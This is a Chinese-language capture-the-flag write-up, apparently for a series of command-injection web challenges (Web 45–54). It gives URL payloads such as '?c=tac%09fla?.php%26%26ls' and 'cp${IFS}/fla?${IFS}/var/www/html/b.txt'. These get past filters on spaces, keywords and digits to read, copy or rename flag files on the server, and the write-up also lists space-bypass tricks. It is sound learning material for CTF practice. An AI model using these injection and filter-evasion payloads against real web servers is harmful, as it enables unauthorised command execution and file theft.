Web(45)
空格过滤了这里的空格是ascll里的空格,我们可以用tab(%09)来通过
?c=tac%09fla*||ls
Web(46)
a && b === if(a) { b },&&是同时必须满足的意思。a || b === if(!a) { b },||是或者的意思。
/?c=tac%09fla?.php%26%26ls
因为这是ascll码所以在转换时%09不会转换成0数字在30到39 .
&&为%26%26
ASCLL表ASCII码一览表,ASCII码对照表
Web(47)
过滤了很多但没有过滤我们现在所使用的所以继续即可。/?c=tac%09fla?.php%26%26ls
Web(48)
没有过滤我们使用的方法可以继续使用前面的方法。/?c=tac%09fla?.php%26%26ls
Web(49)
/?c=tac%09fla?.php%26%26ls
同样没有过滤我们用的。继续使用,一位我们用的在编码之后呈现的不是%号的形式所以,不用怕被限制。
Web(50)
1.代行号读/?c=nl<fla’’g.php%7c%7cls
/?c=nl<fla’’g.php||ls使用url encode编码改变。
‘’可以在读取的过程中忽略%7c为|的编码。
之后可以查看源代码来找出flag。
2.另一种形式是?c=tac<>fla\g.php||来进行绕过
空格绕过的几种形式借鉴了https://blog.csdn.net/solitudi/article/details/107663737
- ${IFS} 但不能写作 $IFS
- $IFS$9
- %09
- <>
- <
Web(51)
没有太大的变化但过滤了tac可以用?c=ta''c<>fla\g.php||ls来进行绕过?c=ta\c<>fla\g.php||ls等来进行绕过
或者继续使用按行读来进行绕过/?c=nl<fla’’g.php%7c%7cls
Web(52)
首先是$释放了出来我们可以使用${IFS}来表示空格,然后来沿用之前的方式进行查找,后发现flag不在原来的地方,cp${IFS}fla?.php${IFS}a.txt%7c%7cls错误的地址。
可以使用pwd来查找当前目录,/var/www/html/这个是默认根目录,一般情况下是它。
然后可以使用cp来复制flag
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt%7c%7cls
然后访问b.txt来查询,cp为复制。
Web(53)
?c=ta''c${IFS}fla?.php,下面加的那些输出对题没什么影响,少了黑洞直接输出就行。
Web(54)
咋一看有点吓人,实际上是将单引号的绕过这类的限制了,但我们还可以用之前的那些来绕过,?c=mv${IFS}fla?.php${IFS}z.txt,用mv来进行重命名,之后来直接访问文件就可以了,但是它限制了数字所以要使用字母来进行。